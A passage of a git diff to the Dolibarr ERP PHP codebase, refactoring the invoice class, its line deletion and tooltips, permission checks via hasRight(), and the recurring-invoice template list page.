      '.$langs->trans('AmountVAT').': '.price($this->total_tva, 0, $langs, 0, -1, -1, $conf->currency); - } - if (!empty($this->total_localtax1) && $this->total_localtax1 != 0) { // We keep test != 0 because $this->total_localtax1 can be '0.00000000' - $label .= '
      '.$langs->transcountry('AmountLT1', $mysoc->country_code).': '.price($this->total_localtax1, 0, $langs, 0, -1, -1, $conf->currency); - } - if (!empty($this->total_localtax2) && $this->total_localtax2 != 0) { - $label .= '
      '.$langs->transcountry('AmountLT2', $mysoc->country_code).': '.price($this->total_localtax2, 0, $langs, 0, -1, -1, $conf->currency); - } - if (!empty($this->total_ttc)) { - $label .= '
      '.$langs->trans('AmountTTC').': '.price($this->total_ttc, 0, $langs, 0, -1, -1, $conf->currency); - } - if ($moretitle) { - $label .= ' - '.$moretitle; - } + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element, + 'moretitle' => $moretitle, + 'option' => $option, + ]; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); } $linkclose = ($target ? ' target="'.$target.'"' : ''); @@ -1862,8 +1908,8 @@ class Facture extends CommonInvoice $label = $langs->trans("Invoice"); $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; - $linkclose .= ' class="classfortooltip"'; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.'"'; } $linkstart = 'ref, $max) : $this->ref); @@ -1954,14 +2000,14 @@ class Facture extends CommonInvoice $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'c_incoterms as i ON f.fk_incoterms = i.rowid'; if ($rowid) { - $sql .= " WHERE f.rowid=".((int) $rowid); + $sql .= " WHERE f.rowid = ".((int) $rowid); } else { $sql .= ' WHERE f.entity IN ('.getEntity('invoice').')'; // Don't use entity if you use rowid if ($ref) { - $sql .= " AND f.ref='".$this->db->escape($ref)."'"; + $sql .= " AND f.ref = '".$this->db->escape($ref)."'"; } if ($ref_ext) { - $sql .= " AND f.ref_ext='".$this->db->escape($ref_ext)."'"; + $sql .= " AND f.ref_ext = '".$this->db->escape($ref_ext)."'"; } } @@ -1985,7 +2031,7 @@ class Facture extends CommonInvoice $this->date_validation = $this->db->jdate($obj->datev); $this->date_modification = $this->db->jdate($obj->datem); $this->datem = $this->db->jdate($obj->datem); - $this->remise_percent = $obj->remise_percent; + $this->remise_percent = $obj->remise_percent; // TODO deprecated $this->remise_absolue = $obj->remise_absolue; $this->total_ht = $obj->total_ht; $this->total_tva = $obj->total_tva; @@ -2321,7 +2367,7 @@ class Facture extends CommonInvoice $sql .= " date_pointoftax=".(strval($this->date_pointoftax) != '' ? "'".$this->db->idate($this->date_pointoftax)."'" : 'null').","; $sql .= " date_valid=".(strval($this->date_validation) != '' ? "'".$this->db->idate($this->date_validation)."'" : 'null').","; $sql .= " paye=".(isset($this->paye) ? $this->db->escape($this->paye) : 0).","; - $sql .= " remise_percent=".(isset($this->remise_percent) ? $this->db->escape($this->remise_percent) : "null").","; + $sql .= " remise_percent=".(isset($this->remise_percent) ? $this->db->escape($this->remise_percent) : "null").","; // TODO deprecated $sql .= " remise_absolue=".(isset($this->remise_absolue) ? $this->db->escape($this->remise_absolue) : "null").","; $sql .= " close_code=".(isset($this->close_code) ? "'".$this->db->escape($this->close_code)."'" : "null").","; $sql .= " close_note=".(isset($this->close_note) ? "'".$this->db->escape($this->close_note)."'" : "null").","; @@ -2643,7 +2689,7 @@ class Facture extends CommonInvoice return -5; } - $sql = 'UPDATE '.MAIN_DB_PREFIX.'projet_task_time'; + $sql = 'UPDATE '.MAIN_DB_PREFIX.'element_time'; $sql .= ' SET invoice_id = NULL, invoice_line_id = NULL'; $sql .= ' WHERE invoice_id = '.((int) $rowid); @@ -3196,7 +3242,7 @@ class Facture extends CommonInvoice $sortorder = 'ASC,ASC,ASC,ASC'; } - $resBatchList = $productbatch->findAllForProduct($productStatic->id, $idwarehouse, (!empty($conf->global->STOCK_ALLOW_NEGATIVE_TRANSFER) ? null : 0), $sortfield, $sortorder); + $resBatchList = $productbatch->findAllForProduct($productStatic->id, $idwarehouse, (getDolGlobalInt('STOCK_ALLOW_NEGATIVE_TRANSFER') ? null : 0), $sortfield, $sortorder); if (!is_array($resBatchList)) { $error++; $this->error = $this->db->lasterror(); @@ -3239,7 +3285,7 @@ class Facture extends CommonInvoice } if (!$error && $product_qty_remain > 0) { - if ($conf->global->STOCK_ALLOW_NEGATIVE_TRANSFER) { + if (getDolGlobalInt('STOCK_ALLOW_NEGATIVE_TRANSFER')) { // take in the first batch $batch = $batchList[0]; $result = $mouvP->livraison($user, $productStatic->id, $idwarehouse, $product_qty_remain, $this->lines[$i]->subprice, $langs->trans('InvoiceValidatedInDolibarr', $num), '', '', '', $batch->batch); @@ -3532,6 +3578,7 @@ class Facture extends CommonInvoice /** * Add an invoice line into database (linked to product/service or not). + * Note: ->thirdparty must be defined. * Les parametres sont deja cense etre juste et avec valeurs finales a l'appel * de cette methode. Aussi, pour le taux tva, il doit deja avoir ete defini * par l'appelant par la methode get_default_tva(societe_vendeuse,societe_acheteuse,produit) @@ -4076,7 +4123,7 @@ class Facture extends CommonInvoice * * @param int $idline id of line to check * @param float $situation_percent progress percentage need to be test - * @return false if KO, true if OK + * @return bool false if KO, true if OK */ public function checkProgressLine($idline, $situation_percent) { @@ -4095,7 +4142,7 @@ class Facture extends CommonInvoice if ($obj === null) { return true; } else { - return $situation_percent < $obj->situation_percent; + return ($situation_percent < $obj->situation_percent); } } @@ -4146,9 +4193,10 @@ class Facture extends CommonInvoice * Delete line in database * * @param int $rowid Id of line to delete + * @param int $id Id of object (for a check) * @return int <0 if KO, >0 if OK */ - public function deleteline($rowid) + public function deleteline($rowid, $id = 0) { global $user; @@ -4159,31 +4207,28 @@ class Facture extends CommonInvoice return -1; } - $this->db->begin(); - - // Free discount linked to invoice line - $sql = 'UPDATE '.MAIN_DB_PREFIX.'societe_remise_except'; - $sql .= ' SET fk_facture_line = NULL'; - $sql .= ' WHERE fk_facture_line = '.((int) $rowid); - - dol_syslog(get_class($this)."::deleteline", LOG_DEBUG); - $result = $this->db->query($sql); - if (!$result) { - $this->error = $this->db->error(); - $this->db->rollback(); - return -1; - } - $line = new FactureLigne($this->db); $line->context = $this->context; - // For triggers + // Load line $result = $line->fetch($rowid); if (!($result > 0)) { dol_print_error($this->db, $line->error, $line->errors); + return -1; } + if ($id > 0 && $line->fk_facture != $id) { + $this->error = 'ErrorLineIDDoesNotMatchWithObjectID'; + return -1; + } + + $this->db->begin(); + + // Memorize previous line for triggers + $staticline = clone $line; + $line->oldline = $staticline; + if ($line->delete($user) > 0) { $result = $this->update_price(1); @@ -4211,7 +4256,7 @@ class Facture extends CommonInvoice * @param User $user User that set discount * @param double $remise Discount * @param int $notrigger 1=Does not execute triggers, 0= execute triggers - * @return int <0 if ko, >0 if ok + * @return int <0 if KO, >0 if OK */ public function set_remise($user, $remise, $notrigger = 0) { @@ -4226,7 +4271,8 @@ class Facture extends CommonInvoice * @param User $user User that set discount * @param double $remise Discount * @param int $notrigger 1=Does not execute triggers, 0= execute triggers - * @return int <0 if ko, >0 if ok + * @return int <0 if KO, >0 if OK + * @deprecated remise_percent is a deprecated field for object parent */ public function setDiscount($user, $remise, $notrigger = 0) { @@ -4278,6 +4324,8 @@ class Facture extends CommonInvoice return -1 * $error; } } + + return 0; } @@ -4343,6 +4391,8 @@ class Facture extends CommonInvoice return -1 * $error; } } + + return 0; } /** @@ -4634,8 +4684,8 @@ class Facture extends CommonInvoice * Invoices matching the following rules are returned: * (validated + payment on process) or classified (payed completely or payed partiely) + not already replaced + not already a credit note * - * @param int $socid Id thirdparty - * @return array Array of invoices ($id => array('ref'=>,'paymentornot'=>,'status'=>,'paye'=>) + * @param int $socid Id thirdparty + * @return array|int Array of invoices ($id => array('ref'=>,'paymentornot'=>,'status'=>,'paye'=>) */ public function list_qualified_avoir_invoices($socid = 0) { @@ -4709,8 +4759,8 @@ class Facture extends CommonInvoice /** * Load indicators for dashboard (this->nbtodo and this->nbtodolate) * - * @param User $user Object user - * @return WorkboardResponse|int <0 if KO, WorkboardResponse if OK + * @param User $user Object user + * @return WorkboardResponse|int <0 if KO, WorkboardResponse if OK */ public function load_board($user) { @@ -5188,18 +5238,18 @@ class Facture extends CommonInvoice /** * Function used to replace a thirdparty id with another one. * - * @param DoliDB $db Database handler - * @param int $origin_id Old third-party id - * @param int $dest_id New third-party id - * @return bool + * @param DoliDB $dbs Database handler, because function is static we name it $dbs not $db to avoid breaking coding test + * @param int $origin_id Old thirdparty id + * @param int $dest_id New thirdparty id + * @return bool */ - public static function replaceThirdparty(DoliDB $db, $origin_id, $dest_id) + public static function replaceThirdparty(DoliDB $dbs, $origin_id, $dest_id) { $tables = array( 'facture' ); - return CommonObject::commonReplaceThirdparty($db, $origin_id, $dest_id, $tables); + return CommonObject::commonReplaceThirdparty($dbs, $origin_id, $dest_id, $tables); } /** @@ -5418,10 +5468,10 @@ class Facture extends CommonInvoice /** - * Send reminders by emails for ivoices that are due + * Send reminders by emails for invoices that are due * CAN BE A CRON TASK * - * @param int $nbdays Delay after due date (or before if delay is negative) + * @param int $nbdays Delay before due date (or after if delay is negative) * @param string $paymentmode '' or 'all' by default (no filter), or 'LIQ', 'CHQ', CB', ... * @param int|string $template Name (or id) of email template (Must be a template of type 'facture_send') * @param string $forcerecipient Force email of recipient (for example to send the email to an accountant supervisor instead of the customer) @@ -5606,7 +5656,7 @@ class Facture extends CommonInvoice $actioncomm->contact_id = 0; $actioncomm->code = 'AC_EMAIL'; - $actioncomm->label = 'sendEmailsRemindersOnInvoiceDueDateOK'; + $actioncomm->label = 'sendEmailsRemindersOnInvoiceDueDateOK (nbdays='.$nbdays.' paymentmode='.$paymentmode.' template='.$template.' forcerecipient='.$forcerecipient.')'; $actioncomm->note_private = $sendContent; $actioncomm->fk_project = $tmpinvoice->fk_project; $actioncomm->datep = dol_now(); @@ -5616,6 +5666,7 @@ class Facture extends CommonInvoice $actioncomm->userownerid = $user->id; // Owner of action // Fields when action is an email (content should be added into note) $actioncomm->email_msgid = $cMailFile->msgid; + $actioncomm->email_subject = $sendTopic; $actioncomm->email_from = $from; $actioncomm->email_sender = ''; $actioncomm->email_to = $to; @@ -5706,6 +5757,7 @@ class Facture extends CommonInvoice $sql .= " FROM ".MAIN_DB_PREFIX."facture"; $sql .= " WHERE type = " . (int) $this->type ; $sql .= " AND date_valid IS NOT NULL"; + $sql .= " AND entity IN (".getEntity('invoice').")"; $sql .= " ORDER BY datef DESC LIMIT 1"; $result = $this->db->query($sql); @@ -5729,6 +5781,43 @@ class Facture extends CommonInvoice } else { dol_print_error($this->db); } + + return array(); + } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + //$return .= ''; // Can be image + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1) : $this->ref).''; + $return .= ''; + if (property_exists($this, 'socid')) { + $return .= '
      '.$this->socid.''; + } + if (property_exists($this, 'fk_user_author')) { + $return .= '
      '.$this->fk_user_author.''; + } + if (method_exists($this, 'getLibStatut')) { + $return .= '
      '.$this->getLibStatut(3).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; } } @@ -6262,7 +6351,7 @@ class FactureLigne extends CommonInvoiceLine $sql .= ", total_localtax2=".price2num($this->total_localtax2); } $sql .= ", fk_product_fournisseur_price=".(!empty($this->fk_fournprice) ? "'".$this->db->escape($this->fk_fournprice)."'" : "null"); - $sql .= ", buy_price_ht=".(($this->pa_ht || $this->pa_ht === 0 || $this->pa_ht === '0') ? price2num($this->pa_ht) : "null"); // $this->pa_ht should always be defined (set to 0 or to sell price depending on option) + $sql .= ", buy_price_ht=".(($this->pa_ht || (string) $this->pa_ht === '0') ? price2num($this->pa_ht) : "null"); // $this->pa_ht should always be defined (set to 0 or to sell price depending on option) $sql .= ", fk_parent_line=".($this->fk_parent_line > 0 ? $this->fk_parent_line : "null"); if (!empty($this->rang)) { $sql .= ", rang=".((int) $this->rang); @@ -6338,13 +6427,38 @@ class FactureLigne extends CommonInvoiceLine return -1; } - $sql = "DELETE FROM ".MAIN_DB_PREFIX."facturedet WHERE rowid = ".((int) $this->rowid); + // Free discount linked to invoice line + $sql = 'UPDATE '.MAIN_DB_PREFIX.'societe_remise_except'; + $sql .= ' SET fk_facture_line = NULL'; + $sql .= ' WHERE fk_facture_line = '.((int) $this->id); + + dol_syslog(get_class($this)."::deleteline", LOG_DEBUG); + $result = $this->db->query($sql); + if (!$result) { + $this->error = $this->db->error(); + $this->errors[] = $this->error; + $this->db->rollback(); + return -1; + } + + $sql = 'UPDATE '.MAIN_DB_PREFIX.'projet_task_time'; + $sql .= ' SET invoice_id = NULL, invoice_line_id = NULL'; + $sql .= ' WHERE invoice_line_id = '.((int) $this->id); + if (!$this->db->query($sql)) { + $this->error = $this->db->error()." sql=".$sql; + $this->errors[] = $this->error; + $this->db->rollback(); + return -1; + } + + $sql = "DELETE FROM ".MAIN_DB_PREFIX."facturedet WHERE rowid = ".((int) $this->id); if ($this->db->query($sql)) { $this->db->commit(); return 1; } else { $this->error = $this->db->error()." sql=".$sql; + $this->errors[] = $this->error; $this->db->rollback(); return -1; } @@ -6373,11 +6487,11 @@ class FactureLigne extends CommonInvoiceLine // Update line in database $sql = "UPDATE ".MAIN_DB_PREFIX."facturedet SET"; - $sql .= " total_ht=".price2num($this->total_ht).""; - $sql .= ",total_tva=".price2num($this->total_tva).""; - $sql .= ",total_localtax1=".price2num($this->total_localtax1).""; - $sql .= ",total_localtax2=".price2num($this->total_localtax2).""; - $sql .= ",total_ttc=".price2num($this->total_ttc).""; + $sql .= " total_ht=".price2num($this->total_ht); + $sql .= ",total_tva=".price2num($this->total_tva); + $sql .= ",total_localtax1=".price2num($this->total_localtax1); + $sql .= ",total_localtax2=".price2num($this->total_localtax2); + $sql .= ",total_ttc=".price2num($this->total_ttc); $sql .= " WHERE rowid = ".((int) $this->rowid); dol_syslog(get_class($this)."::update_total", LOG_DEBUG); @@ -6398,14 +6512,15 @@ class FactureLigne extends CommonInvoiceLine * Returns situation_percent of the previous line. * Warning: If invoice is a replacement invoice, this->fk_prev_id is id of the replaced line. * - * @param int $invoiceid Invoice id + * @param int $invoiceid Invoice id * @param bool $include_credit_note Include credit note or not - * @return int >= 0 + * @return int >= 0 */ public function get_prev_progress($invoiceid, $include_credit_note = true) { // phpcs:enable global $invoicecache; + if (is_null($this->fk_prev_id) || empty($this->fk_prev_id) || $this->fk_prev_id == "") { return 0; } else { diff --git a/htdocs/compta/facture/class/paymentterm.class.php b/htdocs/compta/facture/class/paymentterm.class.php index 3ad533b6d3b..4da9dbb1559 100644 --- a/htdocs/compta/facture/class/paymentterm.class.php +++ b/htdocs/compta/facture/class/paymentterm.class.php @@ -137,7 +137,7 @@ class PaymentTerm // extends CommonObject $sql .= " ".(!isset($this->libelle_facture) ? 'NULL' : "'".$this->db->escape($this->libelle_facture)."'").","; $sql .= " ".(!isset($this->type_cdr) ? 'NULL' : "'".$this->db->escape($this->type_cdr)."'").","; $sql .= " ".(!isset($this->nbjour) ? 'NULL' : "'".$this->db->escape($this->nbjour)."'").","; - $sql .= " ".(!isset($this->decalage) ? 'NULL' : "'".$this->db->escape($this->decalage)."'").""; + $sql .= " ".(!isset($this->decalage) ? 'NULL' : "'".$this->db->escape($this->decalage)."'"); $sql .= ")"; $this->db->begin(); @@ -316,7 +316,7 @@ class PaymentTerm // extends CommonObject $sql .= " libelle_facture=".(isset($this->libelle_facture) ? "'".$this->db->escape($this->libelle_facture)."'" : "null").","; $sql .= " type_cdr=".(isset($this->type_cdr) ? $this->type_cdr : "null").","; $sql .= " nbjour=".(isset($this->nbjour) ? $this->nbjour : "null").","; - $sql .= " decalage=".(isset($this->decalage) ? $this->decalage : "null").""; + $sql .= " decalage=".(isset($this->decalage) ? $this->decalage : "null"); $sql .= " WHERE rowid = ".((int) $this->id); $this->db->begin(); diff --git a/htdocs/compta/facture/contact.php b/htdocs/compta/facture/contact.php index b367301911d..38d51f7b8b8 100644 --- a/htdocs/compta/facture/contact.php +++ b/htdocs/compta/facture/contact.php @@ -65,7 +65,7 @@ $usercancreate = $user->hasRight("facture", "creer"); * Add a new contact */ -if ($action == 'addcontact' && $user->rights->facture->creer) { +if ($action == 'addcontact' && $user->hasRight('facture', 'creer')) { if ($result > 0 && $id > 0) { $contactid = (GETPOST('userid') ? GETPOST('userid', 'int') : GETPOST('contactid', 'int')); $typeid = (GETPOST('typecontact') ? GETPOST('typecontact') : GETPOST('type')); @@ -83,10 +83,10 @@ if ($action == 'addcontact' && $user->rights->facture->creer) { setEventMessages($object->error, $object->errors, 'errors'); } } -} elseif ($action == 'swapstatut' && $user->rights->facture->creer) { +} elseif ($action == 'swapstatut' && $user->hasRight('facture', 'creer')) { // Toggle the status of a contact $result = $object->swapContactStatus(GETPOST('ligne', 'int')); -} elseif ($action == 'deletecontact' && $user->rights->facture->creer) { +} elseif ($action == 'deletecontact' && $user->hasRight('facture', 'creer')) { // Deletes a contact $result = $object->delete_contact($lineid); @@ -148,7 +148,7 @@ if ($id > 0 || !empty($ref)) { if ($action != 'classify') { $morehtmlref .= '
      '.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); diff --git a/htdocs/compta/facture/document.php b/htdocs/compta/facture/document.php index 5cec55e2439..af633e14f90 100644 --- a/htdocs/compta/facture/document.php +++ b/htdocs/compta/facture/document.php @@ -73,7 +73,7 @@ if ($object->fetch($id, $ref)) { $upload_dir = $conf->facture->dir_output."/".dol_sanitizeFileName($object->ref); } -$permissiontoadd = $user->rights->facture->creer; +$permissiontoadd = $user->hasRight('facture', 'creer'); // Security check if ($user->socid) { @@ -152,7 +152,7 @@ if ($id > 0 || !empty($ref)) { if ($action != 'classify') { $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); @@ -184,8 +184,8 @@ if ($id > 0 || !empty($ref)) { print dol_get_fiche_end(); $modulepart = 'facture'; - $permissiontoadd = $user->rights->facture->creer; - $permtoedit = $user->rights->facture->creer; + $permissiontoadd = $user->hasRight('facture', 'creer'); + $permtoedit = $user->hasRight('facture', 'creer'); $param = '&id='.$object->id; include DOL_DOCUMENT_ROOT.'/core/tpl/document_actions_post_headers.tpl.php'; } else { diff --git a/htdocs/compta/facture/info.php b/htdocs/compta/facture/info.php deleted file mode 100644 index 1ea28b295c3..00000000000 --- a/htdocs/compta/facture/info.php +++ /dev/null @@ -1,144 +0,0 @@ - - * Copyright (C) 2004-2005 Laurent Destailleur - * Copyright (C) 2017 Ferran Marcet - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - -/** - * \file htdocs/compta/facture/info.php - * \ingroup facture - * \brief Page des informations d'une facture - */ - -// Load Dolibarr environment -require '../../main.inc.php'; -require_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; -require_once DOL_DOCUMENT_ROOT.'/core/class/discount.class.php'; -require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; -require_once DOL_DOCUMENT_ROOT.'/core/lib/invoice.lib.php'; -if (isModEnabled('project')) { - include_once DOL_DOCUMENT_ROOT.'/projet/class/project.class.php'; -} - -// Load translation files required by the page -$langs->loadLangs(array('companies', 'bills')); - -$id = GETPOST("facid", "int"); -$ref = GETPOST("ref", 'alpha'); - -$object = new Facture($db); - -$extrafields = new ExtraFields($db); - -// Fetch optionals attributes and labels -$extrafields->fetch_name_optionals_label($object->table_element); - -// Load object -if ($id > 0 || !empty($ref)) { - $ret = $object->fetch($id, $ref, '', '', (!empty($conf->global->INVOICE_USE_SITUATION) ? $conf->global->INVOICE_USE_SITUATION : 0)); -} - -// Security check -if ($user->socid) { - $socid = $user->socid; -} -$isdraft = (($object->statut == Facture::STATUS_DRAFT) ? 1 : 0); - -$result = restrictedArea($user, 'facture', $object->id, '', '', 'fk_soc', 'rowid', $isdraft); - -$usercancreate = $user->hasRight("facture", "creer"); - - -/* - * View - */ - -$form = new Form($db); - -$title = $object->ref." - ".$langs->trans('Info'); -$help_url = "EN:Customers_Invoices|FR:Factures_Clients|ES:Facturas_a_clientes"; - -llxHeader('', $title, $help_url); - -if (empty($object->id)) { - $langs->load('errors'); - echo '
      '.$langs->trans("ErrorRecordNotFound").'
      '; - llxFooter(); - exit; -} - -$object->fetch_thirdparty(); - -$object->info($object->id); - -$head = facture_prepare_head($object); -print dol_get_fiche_head($head, 'info', $langs->trans("InvoiceCustomer"), -1, 'bill'); - -$totalpaid = $object->getSommePaiement(); - -// Invoice content - -$linkback = ''.$langs->trans("BackToList").''; - -$morehtmlref = '
      '; -// Ref customer -$morehtmlref .= $form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); -$morehtmlref .= $form->editfieldval("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', null, null, '', 1); -// Thirdparty -$morehtmlref .= '
      '.$object->thirdparty->getNomUrl(1, 'customer'); -// Project -if (isModEnabled('project')) { - $langs->load("projects"); - $morehtmlref .= '
      '; - if (0) { - $morehtmlref .= img_picto($langs->trans("Project"), 'project', 'class="pictofixedwidth"'); - if ($action != 'classify') { - $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; - } - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, ($action == 'classify' ? 1 : 0), 0, 1, ''); - } else { - if (!empty($object->fk_project)) { - $proj = new Project($db); - $proj->fetch($object->fk_project); - $morehtmlref .= $proj->getNomUrl(1); - if ($proj->title) { - $morehtmlref .= ' - '.dol_escape_htmltag($proj->title).''; - } - } - } -} -$morehtmlref .= '
      '; - -$object->totalpaid = $totalpaid; // To give a chance to dol_banner_tab to use already paid amount to show correct status - -dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref, '', 0); - -print '
      '; -print '
      '; - -print '
      '; - -print '
      '; -dol_print_object_info($object); -print '
      '; - -print ''; - -print dol_get_fiche_end(); - -// End of page -llxFooter(); -$db->close(); diff --git a/htdocs/compta/facture/invoicetemplate_list.php b/htdocs/compta/facture/invoicetemplate_list.php index 0426aed01f6..d0c8ea7f1f5 100644 --- a/htdocs/compta/facture/invoicetemplate_list.php +++ b/htdocs/compta/facture/invoicetemplate_list.php @@ -51,11 +51,11 @@ $confirm = GETPOST('confirm', 'alpha'); $cancel = GETPOST('cancel', 'alpha'); $toselect = GETPOST('toselect', 'array'); $contextpage = GETPOST('contextpage', 'aZ') ?GETPOST('contextpage', 'aZ') : 'invoicetemplatelist'; // To manage different context of search -$optioncss = GETPOST('optioncss', 'alpha'); +$optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') +$mode = GETPOST('mode', 'aZ'); // The output mode ('list', 'kanban', 'hierarchy', 'calendar', ...) $socid = GETPOST('socid', 'int'); -// Security check $id = (GETPOST('facid', 'int') ?GETPOST('facid', 'int') : GETPOST('id', 'int')); $lineid = GETPOST('lineid', 'int'); $ref = GETPOST('ref', 'alpha'); @@ -66,7 +66,6 @@ $objecttype = 'facture_rec'; if ($action == "create" || $action == "add") { $objecttype = ''; } -$result = restrictedArea($user, 'facture', $id, $objecttype); $search_ref = GETPOST('search_ref'); $search_societe = GETPOST('search_societe'); @@ -94,26 +93,25 @@ $search_date_when_end = dol_mktime(23, 59, 59, $search_date_when_endmonth, $sear $search_recurring = GETPOST('search_recurring', 'int'); $search_frequency = GETPOST('search_frequency', 'alpha'); $search_unit_frequency = GETPOST('search_unit_frequency', 'alpha'); +$search_nb_gen_done = GETPOST('search_nb_gen_done', 'aplha'); $search_status = GETPOST('search_status', 'int'); $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); -if (empty($page) || $page == -1) { +if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + // If $page is not defined, or '' or -1 or if we click on clear filters $page = 0; -} // If $page is not defined, or '' or -1 +} $offset = $limit * $page; -if (!$sortorder) { - $sortorder = 'DESC'; -} -if (!$sortfield) { - $sortfield = 'f.titre'; -} $pageprev = $page - 1; $pagenext = $page + 1; +// Initialize technical objects $object = new FactureRec($db); +$extrafields = new ExtraFields($db); + if (($id > 0 || $ref) && $action != 'create' && $action != 'add') { $ret = $object->fetch($id, $ref); if (!$ret) { @@ -123,22 +121,25 @@ if (($id > 0 || $ref) && $action != 'create' && $action != 'add') { // Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context $hookmanager->initHooks(array('invoicereclist')); -$extrafields = new ExtraFields($db); -// fetch optionals attributes and labels +// Fetch optionals attributes and labels $extrafields->fetch_name_optionals_label($object->table_element); $search_array_options = $extrafields->getOptionalsFromPost($object->table_element, '', 'search_'); -$permissionnote = $user->rights->facture->creer; // Used by the include of actions_setnotes.inc.php -$permissiondellink = $user->rights->facture->creer; // Used by the include of actions_dellink.inc.php -$permissiontoedit = $user->rights->facture->creer; // Used by the include of actions_lineupdonw.inc.php +// Default sort order (if not yet defined by previous GETPOST) +if (!$sortorder) { + $sortorder = 'DESC'; +} +if (!$sortfield) { + $sortfield = 'f.titre'; +} $arrayfields = array( 'f.titre'=>array('label'=>"Ref", 'checked'=>1), 's.nom'=>array('label'=>"ThirdParty", 'checked'=>1), 'f.total_ht'=>array('label'=>"AmountHT", 'checked'=>1), - 'f.total_tva'=>array('label'=>"AmountVAT", 'checked'=>1), + 'f.total_tva'=>array('label'=>"AmountVAT", 'checked'=>-1), 'f.total_ttc'=>array('label'=>"AmountTTC", 'checked'=>1), 'f.fk_mode_reglement'=>array('label'=>"PaymentMode", 'checked'=>0), 'f.fk_cond_reglement'=>array('label'=>"PaymentTerm", 'checked'=>0), @@ -168,7 +169,6 @@ if ($socid > 0) { } } - if ($socid > 0) { $tmpthirdparty = new Societe($db); $res = $tmpthirdparty->fetch($socid); @@ -179,6 +179,11 @@ if ($socid > 0) { $objecttype = 'facture_rec'; +$permissionnote = $user->hasRight('facture', 'creer'); // Used by the include of actions_setnotes.inc.php +$permissiondellink = $user->hasRight('facture', 'creer'); // Used by the include of actions_dellink.inc.php +$permissiontoedit = $user->hasRight('facture', 'creer'); // Used by the include of actions_lineupdonw.inc.php + +// Security check $result = restrictedArea($user, 'facture', $object->id, $objecttype); @@ -201,15 +206,15 @@ if ($reshook < 0) { } if (empty($reshook)) { - if (GETPOST('cancel', 'alpha')) { + /*if (GETPOST('cancel', 'alpha')) { $action = ''; - } + }*/ // Selection of new fields include DOL_DOCUMENT_ROOT.'/core/actions_changeselectedfields.inc.php'; - // Do we click on purge search criteria ? - if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // All test are required to be compatible with all browsers + // Purge search criteria + if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // All tests are required to be compatible with all browsers $search_ref = ''; $search_societe = ''; $search_montant_ht = ''; @@ -236,9 +241,15 @@ if (empty($reshook)) { $search_recurring = ''; $search_frequency = ''; $search_unit_frequency = ''; + $search_nb_gen_done = ''; $search_status = ''; + $toselect = array(); $search_array_options = array(); } + if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha') + 